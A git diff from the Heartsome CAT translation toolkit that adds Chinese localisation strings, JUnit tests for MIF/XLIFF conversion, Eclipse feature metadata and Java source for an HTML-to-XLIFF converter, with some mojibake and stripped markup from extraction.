\u65e0\u6cd5\u8bc6\u522b MIF \u6587\u4ef6\u7684\u5185\u5bb9\u3002\u8bf7\u68c0\u67e5\u6307\u5b9a\u7684\u7f16\u7801\u662f\u5426\u4e0e\u6587\u4ef6\u7684\u5b9e\u9645\u7f16\u7801\u4e00\u81f4\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.changeBarError = \u8be5 MIF \u6587\u4ef6\u4e2d\u5305\u542b\u4e86 Automatic Change Bars \u4fee\u8ba2\u4fe1\u606f\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\n\u8bf7\u4f7f\u7528 FrameMaker 7-10 \u6253\u5f00\u8be5\u6587\u4ef6\uff0c\u5173\u95ed Automatic Change Bars\u3001\u5e76\u63a5\u53d7\u6216\u62d2\u7edd\u4ee5\u6e05\u9664\u6240\u6709\u4fee\u8ba2\u4fe1\u606f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.noFrameFind = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u65e0\u6cd5\u627e\u5230 Anchor Frame \u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.noTableFind = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u65e0\u6cd5\u627e\u5230 Table \u7684\u5b9a\u4e49\u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +mif.Xliff2Mif.task1 = \u6b63\u5728\u8f6c\u6362... +mif.Xliff2Mif.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +mif.Xliff2Mif.task3 = \u6b63\u5728\u52a0\u8f7d INI \u6587\u4ef6... +mif.Xliff2Mif.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +mif.Xliff2Mif.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +mif.Xliff2Mif.msg2 = XLIFF \u8f6c\u6362 MIF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +mif.TYPE_NAME_VALUE = Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) +mif.mif2xliff.msg3 = \u8bfb\u53d6\u5206\u6bb5\u89c4\u5219 SRX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FrameMakerPreferencePage.title = Adobe FrameMaker +preference.FrameMakerPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.FrameMakerPreferencePage.imageLabel = \u8f6c\u6362 Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.FrameMakerPreferencePage.btnMaster = \u6bcd\u7248 +preference.cancel = \u9000\u51fa\u8f6c\u6362 diff --git a/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Mif2XliffTest.java b/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Mif2XliffTest.java new file mode 100644 index 0000000..db8a7e2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Mif2XliffTest.java @@ -0,0 +1,74 @@ +package net.heartsome.cat.converter.mif.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.mif.Mif2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Mif2XliffTest { + + public static Mif2Xliff converter = new Mif2Xliff(); + private static String srcFile = "rc/Test.mif"; + private static String xlfFile = "rc/Test.mif.xlf"; + private static String sklFile = "rc/Test.mif.skl"; + + @Before + public void setUp(){ + File skl = new File(sklFile); + if(skl.exists()){ + skl.delete(); + } + + File xlf = new File(xlfFile); + if(xlf.exists()){ + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_mif.xml"); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Xliff2MifTest.java b/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Xliff2MifTest.java new file mode 100644 index 0000000..1e9bc35 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/testSrc/net/heartsome/cat/converter/mif/test/Xliff2MifTest.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.converter.mif.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.mif.Xliff2Mif; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2MifTest { + + public static Xliff2Mif converter = new Xliff2Mif(); + private static String tgtFile = "rc/Test_zh-CN.mif"; + private static String xlfFile = "rc/Test.mif.xlf"; + private static String sklFile = "rc/Test.mif.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_INI_FILE, rootFolder + "ini/init_mif.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.application.rap.feature/.project b/hsconverter/net.heartsome.cat.converter.application.rap.feature/.project new file mode 100644 index 0000000..4cd65ad --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.application.rap.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.converter.application.rap.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/hsconverter/net.heartsome.cat.converter.application.rap.feature/build.properties b/hsconverter/net.heartsome.cat.converter.application.rap.feature/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.application.rap.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/hsconverter/net.heartsome.cat.converter.application.rap.feature/feature.xml b/hsconverter/net.heartsome.cat.converter.application.rap.feature/feature.xml new file mode 100644 index 0000000..cb5335a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.application.rap.feature/feature.xml @@ -0,0 +1,124 @@ + + + + + [Enter Feature Description here.] + + + + [Enter Copyright Description here.] + + + + [Enter License Description here.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.feature/.project b/hsconverter/net.heartsome.cat.converter.feature/.project new file mode 100644 index 0000000..2910746 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.converter.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/hsconverter/net.heartsome.cat.converter.feature/build.properties b/hsconverter/net.heartsome.cat.converter.feature/build.properties new file mode 100644 index 0000000..3b8a221 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.feature/build.properties @@ -0,0 +1,2 @@ +javacDefaultEncoding.. = UTF-8 +bin.includes = feature.xml diff --git a/hsconverter/net.heartsome.cat.converter.feature/feature.xml b/hsconverter/net.heartsome.cat.converter.feature/feature.xml new file mode 100644 index 0000000..cfae8a3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.feature/feature.xml @@ -0,0 +1,211 @@ + + + + + Heartsome CAT Converter + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.html/.classpath b/hsconverter/net.heartsome.cat.converter.html/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.html/.project b/hsconverter/net.heartsome.cat.converter.html/.project new file mode 100644 index 0000000..593981d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.html + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.html/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.html/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..402a202 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:03:37 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.html/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.html/META-INF/MANIFEST.MF new file mode 100644 index 0000000..fa9dee1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter HTML +Bundle-SymbolicName: net.heartsome.cat.converter.html +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.html.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.html/build.properties b/hsconverter/net.heartsome.cat.converter.html/build.properties new file mode 100644 index 0000000..e88a127 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +output.. = bin/ +bin.includes = META-INF/,\ + . +source.. = src/ diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Activator.java b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Activator.java new file mode 100644 index 0000000..20fe6ba --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Activator.java @@ -0,0 +1,96 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.html; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle. + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.html"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The html2 xliff sr. */ + private ServiceRegistration html2XliffSR; + + /** The xliff2 html sr. */ + private ServiceRegistration xliff2HtmlSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter service + Converter html2Xliff = new Html2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Html2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Html2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Html2Xliff.TYPE_NAME_VALUE); + html2XliffSR = ConverterRegister.registerPositiveConverter(context, html2Xliff, properties); + + Converter xliff2Html = new Xliff2Html(); + properties = new Properties(); + properties.put(Converter.ATTR_TYPE, Xliff2Html.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Html.TYPE_NAME_VALUE); + properties.put(Converter.ATTR_NAME, Xliff2Html.NAME_VALUE); + xliff2HtmlSR = ConverterRegister.registerReverseConverter(context, xliff2Html, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (html2XliffSR != null) { + html2XliffSR.unregister(); + html2XliffSR = null; + } + if (xliff2HtmlSR != null) { + xliff2HtmlSR.unregister(); + xliff2HtmlSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Html2Xliff.java b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Html2Xliff.java new file mode 100644 index 0000000..0f0c251 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Html2Xliff.java @@ -0,0 +1,1437 @@ +/** + * Html2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.html; + +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; +import java.util.Vector; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.html.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Html2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Html2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "html"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("html.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "Html to XLIFF Conveter"; + + /** + * Gets the node type. + * @param string + * the string + * @return the node type + */ + private static String getNodeType(String string) { + + String result = ""; //$NON-NLS-1$ + if (string.startsWith("') { + break; + } + result = result + c; + } + if (result.endsWith("/") && result.length() > 1) { //$NON-NLS-1$ + result = result.substring(0, result.length() - 1); + } + return result.toLowerCase(); + } + + /** + * Contains text. + * @param string + * the string + * @return true, if successful + */ + private static boolean containsText(String string) { + StringBuffer buffer = new StringBuffer(); + int length = string.length(); + boolean inTag = false; + + for (int i = 0; i < length; i++) { + char c = string.charAt(i); + if (string.substring(i).startsWith("")) { //$NON-NLS-1$ + inTag = false; + i = i + 4; + continue; + } + if (!inTag) { + buffer.append(c); + } + } + return !buffer.toString().trim().equals(""); //$NON-NLS-1$ + } + + /** + * Normalize. + * @param string + * the string + * @return the string + */ + private static String normalize(String string) { + string = string.replace('\n', ' '); + string = string.replace('\t', ' '); + string = string.replace('\r', ' '); + string = string.replace('\f', ' '); + String rs = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char ch = string.charAt(i); + if (!Character.isSpaceChar(ch)) { + rs = rs + ch; + } else { + rs = rs + " "; //$NON-NLS-1$ + while (i < length - 1 && Character.isSpaceChar(string.charAt(i + 1))) { + i++; + } + } + } + return rs; + } + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Html2XliffImpl converter = new Html2XliffImpl(); + // 需è¦æ·»åŠ æŒ‡å®š ini file + String iniDir = args.get(Converter.ATTR_INIDIR); + String iniFile = iniDir + System.getProperty("file.separator") + "init_html.xml"; + args.put(Converter.ATTR_INI_FILE, iniFile); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Html2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Html2XliffImpl { + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The src encoding. */ + private String srcEncoding; + + /** The input. */ + private FileInputStream input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The seg id. */ + private int segId; + + /** The tag id. */ + private int tagId; + + /** The segments. */ + private List segments; + + /** The starts segment. */ + private Hashtable startsSegment; + + /** The translatable attributes. */ + private Hashtable> translatableAttributes; + + /** The entities. */ + private Hashtable entities; + + /** The ctypes. */ + private Hashtable ctypes; + + /** The keep formating. */ + private Hashtable keepFormating; + + /** The seg by element. */ + private boolean segByElement; + + /** The keep format. */ + private boolean keepFormat; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The catalogue. */ + private String catalogue; + + /** The first. */ + private String first; + + /** The last. */ + private String last; + + /** The is suite. */ + private boolean isSuite; + + /** The qt tool id. */ + private String qtToolId; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢åˆ†æˆå››ä¸ªéƒ¨åˆ†ï¼šå†™ xliff 文件头,构建 tables,构建列表,处ç†åˆ—表。 + monitor.beginTask("", 4); + monitor.subTask(Messages.getString("html.Html2Xliff.beginTask")); + Map result = new HashMap(); + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String iniFile = params.get(Converter.ATTR_INI_FILE); + + try { + if (iniFile == null || "".equals(iniFile)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("html.Html2Xliff.msg3")); + } + catalogue = params.get(Converter.ATTR_CATALOGUE); + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolId = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + String elementSegmentation = params.get(Converter.ATTR_SEG_BY_ELEMENT); + if (elementSegmentation == null) { + segByElement = false; + } else { + if (elementSegmentation.equals(Converter.TRUE)) { + segByElement = true; + } else { + segByElement = false; + } + } + + if (!segByElement) { + String initSegmenter = params.get(Converter.ATTR_SRX); + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } + input = new FileInputStream(inputFile); + skeleton = new FileOutputStream(skeletonFile); + output = new FileOutputStream(xliffFile); + writeHeader(); + monitor.worked(1); + + int size = input.available(); + byte[] array = new byte[size]; + if (size != input.read(array)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("html.Html2Xliff.msg1")); //$NON-NLS-1$ + } + String file = new String(array, srcEncoding); + array = null; + buildTables(iniFile, Progress.getSubMonitor(monitor, 1)); + buildList(file, Progress.getSubMonitor(monitor, 1)); + file = null; + + processList(Progress.getSubMonitor(monitor, 1)); + + skeleton.close(); + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + writeString(""); //$NON-NLS-1$ + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (OperationCanceledException e) { + // 需è¦æŠŠç”¨æˆ·çš„å–消æ“作异常跟其它异常区分开,并é‡æ–°æŠ›å‡ºæ­¤å–消异常。 + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("html.Html2Xliff.msg4"), + e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Write header. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeHeader() throws IOException { + + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!targetLanguage.equals("")) { + writeString("\n"); //$NON-NLS-1$ + } else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " //$NON-NLS-1$ + + srcEncoding + "\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + } + + /** + * Process list. + * @throws ParserConfigurationException + * * @throws SAXException the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void processList(IProgressMonitor monitor) throws IOException, SAXException { + monitor.beginTask(Messages.getString("html.Html2Xliff.task2"), segments.size()); + monitor.subTask(""); + for (int i = 0; i < segments.size(); i++) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + monitor.worked(1); + String text = segments.get(i); + if (isTranslateable(text)) { + extractSegment(text); + } else { + // send directly to skeleton + writeSkeleton(text); + } + } + monitor.done(); + } + + /** + * Extract segment. + * @param seg + * the seg + * @throws ParserConfigurationException + * * @throws SAXException the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void extractSegment(String seg) throws IOException, SAXException { + + // start by making a smaller list + + List miniList = new ArrayList(); + + int start = seg.indexOf("<"); //$NON-NLS-1$ + int end = seg.indexOf(">"); //$NON-NLS-1$ + String text = ""; //$NON-NLS-1$ + + while (start != -1) { + if (start > 0) { + // add initial text + miniList.add(seg.substring(0, start)); + seg = seg.substring(start); + start = seg.indexOf("<"); //$NON-NLS-1$ + end = seg.indexOf(">"); //$NON-NLS-1$ + } + // add the tag + if (end < seg.length()) { + miniList.add(seg.substring(start, end + 1)); + seg = seg.substring(end + 1); + start = seg.indexOf("<"); //$NON-NLS-1$ + end = seg.indexOf(">"); //$NON-NLS-1$ + } else { + miniList.add(seg); + start = -1; + } + } + if (seg.length() > 0) { + // add trailing characters + miniList.add(seg); + } + + int size = miniList.size(); + int i; + // separate initial text + String initial = ""; //$NON-NLS-1$ + for (i = 0; i < size; i++) { + text = miniList.get(i); + if (!isTranslateable(text)) { + initial = initial + text; + } else { + break; + } + } + + // get translatable + String translatable = text; + for (i++; i < size; i++) { + translatable = translatable + miniList.get(i); + } + + // get trailing text + String trail = ""; //$NON-NLS-1$ + int j; + for (j = size - 1; j > 0; j--) { + String t = miniList.get(j); + if (!isTranslateable(t)) { + trail = t + trail; + } else { + break; + } + } + + // remove trailing from translatable + start = translatable.lastIndexOf(trail); + if (start != -1) { + translatable = translatable.substring(0, start); + } + + writeSkeleton(initial); + String tagged = addTags(translatable); + if (containsText(tagged)) { + translatable = tagged; + if (segByElement) { + String[] frags = translatable.split("\u2029"); //$NON-NLS-1$ + for (int m = 0; m < frags.length; m++) { + writeSegment(frags[m]); + } + } else { + String[] frags = translatable.split("\u2029"); //$NON-NLS-1$ + for (int m = 0; m < frags.length; m++) { + String[] segs = segmenter.segment(frags[m]); + for (int h = 0; h < segs.length; h++) { + writeSegment(segs[h]); + } + } + } + } else { + writeSkeleton(translatable); + } + writeSkeleton(trail); + } + + /** + * Write segment. + * @param segment + * the segment + * @throws ParserConfigurationException + * * @throws SAXException the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void writeSegment(String segment) throws IOException, SAXException { + + segment = segment.replaceAll("\u2029", ""); 